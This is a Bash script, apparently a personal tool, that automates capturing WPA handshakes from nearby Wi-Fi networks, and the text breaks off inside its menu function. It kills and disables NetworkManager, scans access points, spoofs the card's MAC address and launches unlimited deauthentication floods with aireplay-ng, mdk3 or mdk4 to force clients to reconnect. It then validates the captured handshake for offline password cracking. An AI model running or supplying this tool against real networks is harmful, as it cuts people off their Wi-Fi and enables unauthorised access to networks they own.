wireless-handshaker.sh

#!/bin/bash
#
#******************************************************************************************
#Author:                QianSong
#QQ:                    xxxxxxxxxx
#Date:                  2023-11-04
#FileName:              wireless-handshaker.sh
#URL:                   https://github.com
#Description:           The test script
#Copyright (C):         QianSong 2023 All rights reserved
#******************************************************************************************

#ding  yi  bian  liang
work_dir="$(dirname "$(realpath -s "$0")")/temp"
result_dir="$(dirname "$(realpath -s "$0")")/result"

#reconfig work_dir & result_dir
random_str="$(
	</dev/urandom tr -dc 0-9A-Za-z | head -c 16
	echo
)"
time_str="$(date "+%F-%H%M%S")"
work_dir="/tmp/wireless-handshaker-${random_str}-${time_str}"

home_dir="$(find /home -maxdepth 1 -type d | grep -Ev "^(/home)$" | head -n 1)"
if [ -d "${home_dir:-/home/kali}/Desktop" ]; then
	result_dir="${home_dir:-/home/kali}/Desktop/cap-location"
elif [ -d "${home_dir:-/home/kali}/桌面" ]; then
	result_dir="${home_dir:-/home/kali}/桌面/cap-location"
else
	result_dir="${home_dir:-/home/kali}/Desktop/cap-location"
fi

#general vars
force_killing_network_manager=1

#pan duan shi fou root yon hu yun xing
if [ "${UID}" != "0" ]; then
	echo -e "\033[31mPermission denied, please run this script as root.\033[0m"
	exit 1
fi

#pan duan work_dir shi  fou  cun  zai
if [ ! -d "${work_dir}" ]; then
	mkdir "${work_dir}" -p
fi

#pan duan result_dir shi  fou  cun  zai
if [ ! -d "${result_dir}" ]; then
	mkdir "${result_dir}" -p
fi

#######################################
# 打印使用方法
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function print_usage() {

	echo "用法：bash $0 [选项] [选项值]"
	echo ""
	echo "选项："
	echo "  -k, --killing-network-manager                 是否强制关闭网卡干扰进程network-manager服务，1代表是(Default)，0代表否"
	echo "  -h, --help                                    输出此帮助信息并退出"
}

#######################################
# 获取用户传入的脚本参数，并作相应处理
# Globals:
#   ${force_killing_network_manager}、
# Arguments:
#   "$@"
# Outputs:
#   none
# Returns:
#   none
#######################################
function get_user_option_paramater() {

	local opts
	opts="$(getopt -q -o k:,h -l killing-network-manager:,help -- "$@")"
	if [ $? -ne 0 ]; then
		print_usage
		exit 1
	fi
	eval set -- "${opts}"
	while true; do
		case "$1" in
		-k | --killing-network-manager)
			if [ "$2" == "1" ]; then
				force_killing_network_manager=1
			elif [ "$2" == "0" ]; then
				force_killing_network_manager=0
			else
				echo -e "\033[31mBad option \033[37m$1 $2\033[0m"
				print_usage
				exit 1
			fi
			shift 2
			;;
		-h | --help)
			print_usage
			shift 1
			exit 0
			;;
		--)
			shift 1
			break
			;;
		*)
			echo -e "\033[31mInternal error\033[0m"
			exit 1
			;;
		esac
	done
}

#######################################
# da ying app huan ying jie mian tu pian JPG
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   yi ge tu pian app logo
# Returns:
#   none
#######################################
function logo() {

	# print fuo zhu png
	printf "%s\\n" ''
	printf "%s\\n" '                                  _oo0oo_'
	printf "%s\\n" '                                 088888880'
	printf "%s\\n" '                                 88" . "88'
	printf "%s\\n" '                                 (| -_- |)'
	printf "%s\\n" '                                  0\ = /0'
	printf "%s\\n" '                               ___/'"'"'---'"'"'\___'
	printf "%s\\n" '                             .'"'"' \\\\|     |// '"'"'.'
	printf "%s\\n" '                            / \\\\|||  :  |||// \\.'
	printf "%s\\n" '                           /_ ||||| -:- |||||- \\.'
	printf "%s\\n" '                          |   | \\\\\\  -  /// |   |'
	printf "%s\\n" '                          | \_|  '"'"''"'"'\---/'"'"''"'"'  |_/ |'
	printf "%s\\n" '                          \  .-\__  '"'"'-'"'"'  __/-.  /'
	printf "%s\\n" '                        ___'"'"'. .'"'"'  /--.--\  '"'"'. .'"'"'___'
	printf "%s\\n" '                     ."" '"'"'<  '"'"'.___\_<|>_/___.'"'"' >'"'"'  "".'
	printf "%s\\n" '                    | | : '"'"'-  '\\\''.;'"'"'\ _ /'"'"';.'"'"'/ - '"'"' : | |'
	printf "%s\\n" '                    \  \ '"'"'_.   \_ __\ /__ _/   .-'"'"' /  /'
	printf "%s\\n" '                ====='"'"'-.____'"'"'.___ \_____/___.-'"'"'____.-'"'"'====='
	printf "%s\\n" '                                  '"'"'=---='"'"''
	printf "%s\\n" ''
	printf "%s\\n" '              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^'
	printf "%s\\n" '                        佛祖保佑    iii    永不BUG'
	printf "%s\\n" ''
}

#######################################
# da ying app huan ying jie mian tu pian JPG
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   yi ge tu pian app logo
# Returns:
#   none
#######################################
function print_app_info() {

	# ding yi color vars
	local color_1='\033[1;30m'
	local color_2='\033[1;31m'
	local color_3='\033[1;32m'
	local color_4='\033[1;34m'
	local color_5='\033[1;35m'
	local color_6='\033[1;36m'
	local color_7='\033[1;33m'
	local color_8='\033[1;37m'
	local RST='\033[0m'

	# print first jpg
	clear
	# zifu hua shen cheng  fang fa: toilet -f smblock -t 'ATTACKER_Q               ATTACKER_Q'
	# an zhuang zi fu hua  tool: apt install toilet
	echo -e "${color_2}▞▀▖▀▛▘▀▛▘▞▀▖▞▀▖▌ ▌▛▀▘▛▀▖   ▞▀▖               ▞▀▖▀▛▘▀▛▘▞▀▖▞▀▖▌ ▌▛▀▘▛▀▖   ▞▀▖${RST}"
	echo -e "${color_2}▙▄▌ ▌  ▌ ▙▄▌▌  ▙▞ ▙▄ ▙▄▘   ▌ ▌               ▙▄▌ ▌  ▌ ▙▄▌▌  ▙▞ ▙▄ ▙▄▘   ▌ ▌${RST}"
	echo -e "${color_2}▌ ▌ ▌  ▌ ▌ ▌▌ ▖▌▝▖▌  ▌▚    ▌▚▘               ▌ ▌ ▌  ▌ ▌ ▌▌ ▖▌▝▖▌  ▌▚    ▌▚▘${RST}"
	echo -e "${color_2}▘ ▘ ▘  ▘ ▘ ▘▝▀ ▘ ▘▀▀▘▘ ▘▀▀▀▝▘▘               ▘ ▘ ▘  ▘ ▘ ▘▝▀ ▘ ▘▀▀▘▘ ▘▀▀▀▝▘▘${RST}"
	echo -e "                            ${color_3}~=:by XxxxXxxx1:=~${RST}"
	echo -e "                     > ${color_4}\033[4mhttps://github.com/XxxxXxxx1${RST} <"
	echo -e ""

	# loop print fuo zhu png
	local i r_num r_char r_color
	IFS=$'\n'
	for i in $(logo); do
		r_num="$(awk -v random="${RANDOM}" 'BEGIN{print random % 8 + 1}')"
		r_char="\$color_${r_num}"
		r_color="$(eval "echo \"${r_char}\"")"
		echo -e "${r_color}${i}${RST}"
		sleep 0.1
	done

	# print process info
	local char
	i=1
	while [ "${i}" -lt 5 ]; do
		for char in "/" "." "\\"; do
			echo -n "                                    [${char}]                                      "
			echo -ne "\r\r"
			sleep 0.2
		done
		i=$((i + 1))
	done
	echo -e "\n"
	sleep 0.3
}

#######################################
# 安装必要的组件工具
# Globals:
#   none
# Arguments:
#   传入参数为软件包名称
# Outputs:
#   输出组件的安装过程信息
# Returns:
#   none
#######################################
function install_dependent_software() {

	apt update
	if [ $? -ne 0 ]; then
		echo -e "\033[31mnetwork error\033[0m"
		exit 2
	fi
	apt install "$1" -y
	if [ $? -ne 0 ]; then
		echo -e "\033[31mnetwork error\033[0m"
		exit 3
	fi
}

#######################################
# 安装必要的组件工具
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   输出组件的安装过程信息
# Returns:
#   none
#######################################
function install_essensiel_tool() {

	#pan  duan  shi  fou  an zhuang  le  yi  lai  ruan  jian
	local i exit_code
	for i in mdk3 mdk4 airmon-ng airodump-ng xterm dos2unix aireplay-ng macchanger cowpatty; do
		type "${i}" >/dev/null 2>&1
		exit_code=$?
		if [ "${exit_code}" -eq 0 ]; then
			echo -e "${i}.....................\033[32mOK\033[0m"
		else
			echo -e "${i}.....................\033[33mInstalling\033[0m"
			case "${i}" in
			mdk3)
				install_dependent_software mdk3
				;;
			mdk4)
				install_dependent_software mdk4
				;;
			airmon-ng)
				install_dependent_software aircrack-ng
				;;
			airodump-ng)
				install_dependent_software aircrack-ng
				;;
			aireplay-ng)
				install_dependent_software aircrack-ng
				;;
			xterm)
				install_dependent_software xterm
				;;
			dos2unix)
				install_dependent_software dos2unix
				;;
			macchanger)
				install_dependent_software macchanger
				;;
			cowpatty)
				install_dependent_software cowpatty
				;;
			*)
				echo -e "\033[31mUknown error..\033[0m"
				exit 4
				;;
			esac
		fi
		sleep 0.1
	done
}

#######################################
# 杀死网卡干扰进程
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function kill_busy_process() {

	airmon-ng check kill >/dev/null 2>&1
	if [ $? -ne 0 ]; then
		echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
		exit 1
	fi

	systemctl stop NetworkManager.service >/dev/null 2>&1
	if [ $? -ne 0 ]; then
		echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
		exit 1
	fi

	systemctl disable NetworkManager.service >/dev/null 2>&1
	if [ $? -ne 0 ]; then
		echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
		exit 1
	fi

	systemctl stop wpa_supplicant.service >/dev/null 2>&1
	if [ $? -ne 0 ]; then
		echo -e "\033[31mError for check kill Disturbed process, quit !\033[0m"
		exit 1
	fi
}

#######################################
# 打印一个简短提示信息
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function print_notice() {

	echo -e "\n"
	echo -e "\033[33m加载完毕！正在为您启动，请稍等鸡儿几秒钟.......\033[0m"
	sleep 5
	clear
}

#######################################
# 后代进程ID查找函数
# Globals:
#   none
# Arguments:
#   传入参数：数字类型pid号码
# Outputs:
#   none
# Returns:
#   none
#######################################
function get_treepid() {

	local pid sep opts
	opts="$(getopt -q -o s:,p: -l sep:,pid: -- "$@")" || return 1
	eval set -- "${opts}"
	while true; do
		case "$1" in
		-s | --sep)
			sep="$2"
			shift 2
			;;
		-p | --pid)
			pid="$2"
			shift 2
			;;
		--)
			shift 1
			break
			;;
		*)
			echo "Invalid usage" >&2
			return 1
			;;
		esac
	done

	sep="${sep:- }"
	pid="${pid:-$1}"
	if [[ -z "${pid}" ]]; then
		return 1
	fi

	ps -eo ppid,pid --no-headers | awk -v root="${pid}" -v sep="${sep}" '
                function dfs(u) {
                        if (pids)
                                pids = pids sep u;
                        else
                                pids = u;
                        if (u in edges)
                                for (v in edges[u])
                                dfs(v);
                }
                {
                        edges[$1][$2] = 1;
                        if ($2 == root)
                                root_isalive = 1;
                }
                END {
                        if (root_isalive)
                                dfs(root);
                        if (pids)
                                print pids;
                }'
}

#######################################
# 扫描指定频段所有WiFi信号
# Globals:
#   ${scan_pid}、
# Arguments:
#   传入参数：扫描频段类型a、bg、bga
# Outputs:
#   none
# Returns:
#   none
#######################################
function scan_all_ap() {

	local i mom_pid child_pid mom_pid_sum iterm
	for i in 1; do
		rm -rf "${work_dir:?}/dump"* >/dev/null 2>&1
		sleep 2
		xterm -geometry "107-0+0" -bg "#000000" -fg "#FFFFFF" -title "Scan all AP" -e airodump-ng "${wlan_card}" --band "$1" -w "${work_dir}/dump" &
		scan_pid=$!
		sleep 2
		mom_pid="${scan_pid}"
		child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
		mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
		while true; do
			if [ "${mom_pid_sum}" -gt 0 ]; then
				mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
				sleep 1
			else
				for iterm in ${child_pid}; do
					kill "${iterm}" >/dev/null 2>&1
				done
				break
			fi
		done
		sleep 2
	done
}

#######################################
# 准备信号列表与客户端列表文件
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function prepare_server_client_list() {

	local target_line server_mac server_name server_mac_char
	rm -rf "${work_dir:?}/server_list.csv" >/dev/null 2>&1
	rm -rf "${work_dir:?}/client_list.csv" >/dev/null 2>&1
	rm -rf "${work_dir:?}/client.txt" >/dev/null 2>&1
	sleep 2
	target_line="$(cat "${work_dir}/dump-01.csv" | awk '/(^Station[s]?|^Client[es]?)/{print NR}')"
	target_line="$(awk -v target_line="${target_line}" 'BEGIN{print target_line - 1}')"
	cat "${work_dir}/dump-01.csv" | head -n "${target_line}" | dos2unix | grep -E -v --text "^$" | sed -rn '1p' >"${work_dir:?}/server_list.csv"
	cat "${work_dir}/dump-01.csv" | head -n "${target_line}" | dos2unix | grep -E -v --text "^$" | sed -r '1d' | sort -t "," -dk 1 >>"${work_dir:?}/server_list.csv"
	cat "${work_dir}/dump-01.csv" | tail -n +"${target_line}" | dos2unix | grep -E -v --text "^$" >"${work_dir:?}/client_list.csv"

	#zhun bei sniff client list
	echo -e "server_mac,server_name" >>"${work_dir:?}/client.txt"
	while IFS=, read -r _ _ _ _ _ server_mac server_name; do
		server_mac_char="${#server_mac}"
		if [ "${server_mac_char}" -ge 17 ]; then
			server_mac="$(echo "${server_mac}" | awk '{gsub(/ /,""); print}')"
			echo -e "${server_mac},${server_name}" >>"${work_dir:?}/client.txt"
		fi
	done <"${work_dir}/client_list.csv"
	sleep 2
}

#######################################
# 格式化显示信号列表
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function display_result_info() {

	local server_list_total exp_mac chars_mac sp1 sp2 sp4 sp5 sp6 airodump_color normal_color client enc_length exp_channel exp_enc exp_auth exp_power exp_idlength exp_essid
	server_list_total="$(cat "${work_dir}/server_list.csv" | grep -E --text -v "^$" | sed -r '1d' | awk -F "," '{if (length($1) >= 17) {print $0}}' | wc -l)"
	if [ "${server_list_total}" -gt 0 ]; then
		echo -e "\033[32m 序号         BSSID        信道     信号强度     加密方式      ESSID\033[0m"
		echo -e "-----------------------------------------------------------------------------------"
		local i=0
		local valid_channels_24_and_5_ghz_regexp="[0-9]{1,3}"
		while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ exp_auth exp_power _ _ _ exp_idlength exp_essid _; do

			chars_mac="${#exp_mac}"
			if [ "${chars_mac}" -ge 17 ]; then
				i=$((i + 1))
				if [ "${exp_power}" -lt 0 ]; then
					if [ "${exp_power}" -eq -1 ]; then
						exp_power=0
					else
						exp_power=$((exp_power + 100))
					fi
				fi

				exp_power="$(echo "${exp_power}" | awk '{gsub(/ /,""); print}')"
				exp_essid=${exp_essid:1:${exp_idlength}}

				if [[ ${exp_channel} =~ ${valid_channels_24_and_5_ghz_regexp} ]]; then
					exp_channel="$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}')"
				else
					exp_channel=0
				fi

				if [[ "${exp_essid}" = "" ]] || [[ -z "${exp_essid}" ]]; then
					exp_essid="(Hidden Network)"
				fi

				exp_enc="$(echo "${exp_enc}" | awk '{print $1}')"

				if [ "${i}" -le 9 ]; then
					sp1="  "
				elif [[ "${i}" -ge 10 ]] && [[ "${i}" -le 99 ]]; then
					sp1=" "
				else
					sp1=""
				fi

				if [ "${exp_channel}" -le 9 ]; then
					sp2="  "
					if [ "${exp_channel}" -eq 0 ]; then
						exp_channel="-1"
					fi
					if [ "${exp_channel}" -lt 0 ]; then
						sp2=" "
					fi
				elif [[ "${exp_channel}" -ge 10 ]] && [[ "${exp_channel}" -lt 99 ]]; then
					sp2=" "
				else
					sp2=""
				fi

				if [ "${exp_power}" = "" ]; then
					exp_power=0
				fi

				if [ "${exp_power}" -le 9 ]; then
					sp4=" "
				else
					sp4=""
				fi

				airodump_color="\033[37m"
				normal_color="\033[0m"
				client="$(grep "${exp_mac}" <"${work_dir}/client.txt")"
				if [ "${client}" != "" ]; then
					airodump_color="\033[33m"
					client="*"
					sp5=""
				else
					sp5=" "
				fi

				enc_length="${#exp_enc}"
				if [ "${enc_length}" -gt 3 ]; then
					sp6=""
				elif [ "${enc_length}" -eq 0 ]; then
					sp6="    "
				else
					sp6=" "
				fi

				echo -e "${airodump_color}${sp1}[${i}]${client}   ${sp5}${exp_mac}  ${sp2}${exp_channel}        ${sp4}${exp_power}%          ${exp_enc}${sp6}       ${exp_essid}${normal_color}"
			fi
		done <"${work_dir}/server_list.csv"
		echo -e "-----------------------------------------------------------------------------------"

		#IFS=$'\n'
		#a=1
		#for i in $(cat ${work_dir}/server_list.csv|egrep --text -v "^$"|sed -r '1d'|awk -F "," '{if (length($1) >= 17) {print $0}}')
		#do
		#       temp_mac=$(echo ${i}|awk -F "," '{print $1}')
		#       cat ${work_dir}/client.txt|grep --text ${temp_mac} >/dev/null 2>&1
		#       client_stat=$?
		#       if [ "${client_stat}" == "0" ]; then
		#               echo -e "\033[33m[$a]\033[0m \033[32m$i\033[0m"
		#       else
		#               echo -e "\033[33m[$a]\033[0m $i"
		#       fi
		#       let a++
		#done
	else
		local you_zl
		echo -e "\033[31mNo network at the list, press [enter] to restart new hack\033[0m"
		read -rp "> " you_zl
		hack_menu
	fi
}

#######################################
# 伪装网卡Mac地址
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function changer_mac_addr() {

	ip link set "${wlan_card}" down >/dev/null 2>&1
	macchanger -r "${wlan_card}" >/dev/null 2>&1
	ip link set "${wlan_card}" up >/dev/null 2>&1
}

#######################################
# 主抓包函数
# Globals:
#   ${mac_id}、${mac_address}、${target_ap_name}、${cur_channel}
# Arguments:
#   传入信道扫描标识，支持：a、bg、bga
# Outputs:
#   none
# Returns:
#   none
#######################################
function handshake_bga() {

	#shao  miao   wifi  into  text wifi_info.txt
	echo "starting scan wifi info into ${work_dir}/dump-01.csv...."
	echo -e "\n"
	echo -e "\033[33m提示：当目标WiFi出现了，请手动关掉扫描窗口进入下一步！\033[0m"
	scan_all_ap "$1"
	echo -e "\033[32mDone!!\033[0m"

	#xian shi sao  miao  jie  guo
	dos2unix "${work_dir}/dump-01.csv" >/dev/null 2>&1
	prepare_server_client_list

	#xuan zhe mu biao AP mac
	clear
	display_result_info
	#xuan zhe yi  ge  xin hao
	local ap_num
	read -rp "选择您要抓包的WiFi序号[num]: " ap_num
	while true; do
		if [ -z "${ap_num}" ]; then
			clear
			display_result_info
			echo -e "\033[33mAP_num must be a number and can not be null!!\033[0m"
			read -rp "选择您要抓包的WiFi序号[num]: " ap_num
		elif [[ ! "${ap_num}" =~ ^[0-9]+$ ]]; then
			clear
			display_result_info
			echo -e "\033[33mAP_num must be a number and can not be null!!\033[0m"
			read -rp "选择您要抓包的WiFi序号[num]: " ap_num
		elif [ "${ap_num}" -gt "$(cat "${work_dir}/server_list.csv" | grep -E --text -v "^$" | sed -r '1d' | awk -F "," '{if (length($1) >= 17) {print $0}}' | wc -l)" ]; then
			clear
			display_result_info
			echo -e "\033[33mAP_num con't be great of total number for ap list!!\033[0m"
			read -rp "选择您要抓包的WiFi序号[num]: " ap_num
		elif [ "${ap_num}" -eq 0 ]; then
			clear
			display_result_info
			echo -e "\033[33mAP_num is must be great of 0!!\033[0m"
			read -rp "选择您要抓包的WiFi序号[num]: " ap_num
		else
			break
		fi
	done

	#ding yi mu biao  AP mac
	mac_id="$(cat "${work_dir}/server_list.csv" | grep -E --text -v "^$" | sed -r '1d' | awk -F "," '{if (length($1) >= 17) {print $0}}' | awk -F "," "NR==${ap_num}"'{print $1}')"
	if [ -z "${mac_id}" ] || [ "${mac_id}" == "" ]; then
		echo -e "\033[31mThe target ap mac is null ,now program is exit.\033[0m"
		exit 8
	fi

	#ding yi mu biao AP mac address
	mac_address="${mac_id//:/-}"

	#ding yi mu miao AP name
	target_ap_name="$(cat "${work_dir}/server_list.csv" | grep --text "${mac_id}" | awk -F "," '{if (NF>1) {print $(NF-1)}}' | awk '{print $1}')"

	#ding yi dang  qian  xindao
	cur_channel="$(cat "${work_dir}/server_list.csv" | grep --text "${mac_id}" | awk '{print $6}' | awk -F "," '{print $1}' | grep -E -v "^0$" | grep -E -v "-" | grep -E -v "[0-9]+e" | sort | uniq -c | sort -nk 1 | tail -n 1 | awk "NR==1"'{print $2}')"

	local you_zl exit_code
	echo -e "\033[36m已选择目标mac：\033[37m[${mac_id}]  \033[36m已选择目标AP：\033[37m[${target_ap_name}]  \033[36m已选择目标信道：\033[37m[${cur_channel}]\033[0m"
	echo -ne "\033[33m按[Enter]键继续...\033[0m"
	read -r you_zl

	local regexp="^(1|2)$"
	while true; do
		exec_handshake_cuptrue
		handshake_check
		exit_code=$?
		if [ "${exit_code}" -eq 0 ]; then
			display_cap_location
			echo -e "\033[32m恭喜抓取握手包成功了\033[0m"
			echo -e "\n"
			echo -e "\033[33m你需要再抓取其它的目标吗?\033[0m"
			echo -e "--------"
			echo -e "\033[32m1).\033[0m yes重新扫描并抓取其它目标"
			echo -e "\033[32m2).\033[0m no退出程序"
			echo -e "--------"
			read -rp "> " you_zl
			while [[ ! "${you_zl}" =~ ${regexp} ]]; do
				echo -e "\033[31mInvalid input.\033[0m"
				read -rp "> " you_zl
			done
			case "${you_zl}" in
			1)
				break
				;;
			2)
				hard_core_exit
				;;
			esac
		else
			echo -e "\033[31m似乎抓取握手包失败了\033[0m"
			echo -e "\n"
			echo -e "\033[33m你需要重新尝试吗?\033[0m"
			echo -e "--------"
			echo -e "\033[32m1).\033[0m yes再来一次"
			echo -e "\033[32m2).\033[0m no重新扫描新的信号"
			echo -e "--------"
			read -rp "> " you_zl
			while [[ ! "${you_zl}" =~ ${regexp} ]]; do
				echo -e "\033[31mInvalid input.\033[0m"
				read -rp "> " you_zl
			done
			case "${you_zl}" in
			1)
				continue
				;;
			2)
				break
				;;
			esac
		fi
	done

	hack_menu
}

#######################################
# 启动抓包过程函数
# Globals:
#   ${attack_pid}、${handshake_pid}
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function exec_handshake_cuptrue() {

	#kai qi  zhua  bao  xterm
	handshake_pid=""
	local i
	if [ -z "${target_ap_name}" ] || [ "${target_ap_name}" == "" ]; then
		echo -e "\033[35mThe handshake program xterm have started.\033[0m"
		sleep 1
		for i in 1; do
			rm -rf "${result_dir:?}/${mac_address:?}"* >/dev/null 2>&1
			sleep 2
			changer_mac_addr
			xterm -geometry "107-0+0" -bg "#000000" -fg "#FFFFFF" -title "Handshake AP for ${mac_id}" -e airodump-ng --ignore-negative-one -d "${mac_id}" -w "${result_dir}/${mac_id//:/-}" -c "${cur_channel}" -a "${wlan_card}" &
			handshake_pid=$!
			sleep 2
		done
	else
		echo -e "\033[35mThe handshake program xterm have started.\033[0m"
		sleep 1
		for i in 1; do
			rm -rf "${result_dir:?}/${target_ap_name:?}-${mac_address:?}"* >/dev/null 2>&1
			sleep 2
			changer_mac_addr
			xterm -geometry "107-0+0" -bg "#000000" -fg "#FFFFFF" -title "Handshake AP for ${mac_id}" -e airodump-ng --ignore-negative-one -d "${mac_id}" -w "${result_dir}/${target_ap_name}-${mac_id//:/-}" -c "${cur_channel}" -a "${wlan_card}" &
			handshake_pid=$!
			sleep 2
		done
	fi

	#kai qi gon ji mdk xterm
	attack_pid=""
	case "${attack_mode}" in
	"aireplay-ng_deauth")
		iw dev "${wlan_card}" set channel "${cur_channel}" >/dev/null 2>&1
		xterm -geometry "85+0+0" -bg "#000000" -fg "#FF0009" -title "Duan kai conn on ${mac_id}" -e "${attack_command}" -0 0 -a "${mac_id}" --ignore-negative-one "${wlan_card}" &
		attack_pid=$!
		sleep 2
		;;
	"mdk3_deauth")
		echo "${mac_id}" >"${work_dir:?}/black_mac_list.txt"
		echo "" >>"${work_dir:?}/black_mac_list.txt"
		xterm -geometry "85+0+0" -bg "#000000" -fg "#FF0009" -title "Duan kai conn on ${mac_id}" -e "${attack_command}" "${wlan_card}" d -b "${work_dir}/black_mac_list.txt" -c "${cur_channel}" &
		attack_pid=$!
		sleep 2
		;;
	"mdk4_deauth")
		echo "${mac_id}" >"${work_dir:?}/black_mac_list.txt"
		echo "" >>"${work_dir:?}/black_mac_list.txt"
		xterm -geometry "85+0+0" -bg "#000000" -fg "#FF0009" -title "Duan kai conn on ${mac_id}" -e "${attack_command}" "${wlan_card}" d -b "${work_dir}/black_mac_list.txt" -c "${cur_channel}" &
		attack_pid=$!
		sleep 2
		;;
	esac

	#shu chu cao zuo ti shi info
	echo -e "\n"
	echo -e "\033[33m提示：当目标WiFi握手包出现了，请手动关掉抓包窗口进入下一步！\033[0m"

	#guan bi gon ji xterm
	local mom_pid child_pid mom_pid_sum iterm
	sleep 15
	echo -e "\033[32mClose the ${attack_mode} attack xterm...\033[0m"
	mom_pid="${attack_pid}"
	child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
	kill "${mom_pid}" >/dev/null 2>&1
	mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
	while true; do
		if [ "${mom_pid_sum}" -gt 0 ]; then
			mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
			sleep 1
		else
			for iterm in ${child_pid}; do
				kill "${iterm}" >/dev/null 2>&1
			done
			break
		fi
	done
	sleep 2

	#guan bi handshake pid de jian ting program
	local i=1
	mom_pid="${handshake_pid}"
	child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
	mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
	while true; do
		if [ "${mom_pid_sum}" -gt 0 ]; then
			mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
			echo -n "Now ${i} seconds has passd.."
			echo -ne "\r\r"
			sleep 1
			i=$((i + 1))
		else
			for iterm in ${child_pid}; do
				kill "${iterm}" >/dev/null 2>&1
			done
			break
		fi
	done
	sleep 2
}

#######################################
# 握手包有效性验证函数
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   0或1, 0表示握手包有效，1表示握手包无效
#######################################
function handshake_check() {

	local exit_code
	if [ -z "${target_ap_name}" ] || [ "${target_ap_name}" == "" ]; then
		echo -e "\033[35mChecking handshake \033[34m[${result_dir}/${mac_id//:/-}-01.cap]\033[0m \033[35m....\033[0m"
		sleep 3
		cowpatty -c -r "${result_dir}/${mac_id//:/-}"-01.cap >/dev/null 2>&1
		exit_code=$?
		if [ "${exit_code}" -eq 0 ]; then
			echo -e "\033[32mThe target handshake \033[34m[${result_dir}/${mac_id//:/-}-01.cap]\033[0m \033[32mcheck sucessfully \033[0m"
			return 0
		else
			echo -e "\033[31mThe target handshake \033[34m[${result_dir}/${mac_id//:/-}-01.cap]\033[0m \033[31mcheck faild \033[0m"
			return 1
		fi
	else
		echo -e "\033[35mChecking handshake \033[34m[${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap]\033[0m \033[35m....\033[0m"
		sleep 3
		cowpatty -c -r "${result_dir}/${target_ap_name}-${mac_id//:/-}"-01.cap >/dev/null 2>&1
		exit_code=$?
		if [ "${exit_code}" -eq 0 ]; then
			echo -e "\033[32mThe target handshake \033[34m[${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap]\033[0m \033[32mcheck sucessfully \033[0m"
			return 0
		else
			echo -e "\033[31mThe target handshake \033[34m[${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap]\033[0m \033[31mcheck faild \033[0m"
			return 1
		fi
	fi
}

#######################################
# 输出握手包保存路径信息
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function display_cap_location() {

	if [ -z "${target_ap_name}" ] || [ "${target_ap_name}" == "" ]; then
		echo -e "\033[36mThe handshake cap is saved in [${result_dir}/${mac_id//:/-}-01.cap] \033[0m"
	else
		echo -e "\033[36mThe handshake cap is saved in [${result_dir}/${target_ap_name}-${mac_id//:/-}-01.cap] \033[0m"
	fi
}

#######################################
# 抓包信息确认菜单，开启抓包
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function start_exec_handshake() {

	local you_zl
	clear
	echo -e "\033[35m当前网卡：\033[0m${wlan_card:-无}   \033[35m当前模式：\033[0m${attack_mode:-无}   \033[35m扫描频段：\033[0m${attack_band:-无}"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "                             \033[36m抓包信息确认\033[0m                           "
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "\033[32m1. 返回上一级\033[0m"
	echo -e "--------"
	echo -e "\033[32m2. 开始启动抓包\033[0m"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	read -rp "Please select: " you_zl
	case "${you_zl}" in
	1)
		hack_menu
		;;
	2)
		handshake_bga "${scan_band}"
		;;
	*)
		start_exec_handshake
		;;
	esac
}

#######################################
# 攻击频段选择菜单，攻击入口
# Globals:
#   ${attack_band}、${scan_band}
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function hack_menu() {

	local you_zl
	clear
	echo -e "\033[35m当前网卡：\033[0m${wlan_card:-无}   \033[35m当前模式：\033[0m${attack_mode:-无}   \033[35m扫描频段：\033[0m${attack_band:-无}"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "                             \033[36m频段选择菜单\033[0m                           "
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "\033[32m1. 返回主菜单\033[0m"
	echo -e "--------"
	echo -e "\033[32m2. 2.4Ghz\033[0m"
	echo -e "\033[32m3. 5Ghz\033[0m"
